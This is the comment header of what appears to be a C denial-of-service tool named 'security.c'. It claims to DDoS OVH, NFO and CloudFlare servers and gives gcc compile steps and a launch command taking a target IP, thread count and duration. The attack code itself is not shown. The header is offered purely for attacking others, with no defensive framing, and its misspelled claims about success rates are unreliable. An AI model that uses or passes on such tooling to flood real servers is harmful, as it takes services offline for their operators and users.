/*
* This script has the abbility to DDoS OVH,NFO, & CloudFlare servers if connection is made.
* %40 of the time connection can't be made. But when connected results may vary
* _____________________________________________________________________________
* Save the file as "security.c"
* gcc -pthread security.c -o security
* after done errors might occor, some may not.
* If done correctly it should have a file named "security"
* after done so. you can DDoS with the command;
* ./security IP 500 -1 300
* 500 = threads | 300 = time (in seconds)
* ./security [IP] [threads] [-1] [time]
* _____________________________________________________________________________
